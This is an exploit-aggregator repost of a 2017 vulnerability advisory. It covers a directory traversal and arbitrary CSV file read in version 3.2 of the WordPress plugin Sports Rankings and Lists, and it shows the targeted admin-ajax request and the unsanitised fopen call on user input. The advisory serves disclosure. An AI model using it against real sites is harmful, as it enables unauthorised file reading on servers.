Edit Report

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017030172

Below is a copy:

Wordpress plugin Sports Rankings and Lists directory# Exploit Title: Wordpress plugin Sports Rankings and Lists directory
traversal and arbitrary csv file read
# Date: 2017-03-17
# Exploit Author: malwrforensics
# Vendor Homepage: https://fantasyknuckleheads.com/
# Software Link: https://downloads.wordpress.org/plugin/sports-rankings-lists.zip
# Version: 3.2
# Tested on: Ubuntu 16.04

POST http://<server>/wp-admin/admin-ajax.php HTTP/1.1
Referer: http://<server>/wp-admin/post-new.php?post_type=player_list


File: import_players.php
Reason: The first parameter of the fopen function isn't properly sanitized.

else if (($handle = fopen($_POST['url'], "r")) !== FALSE) {

Copyright ©2017 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.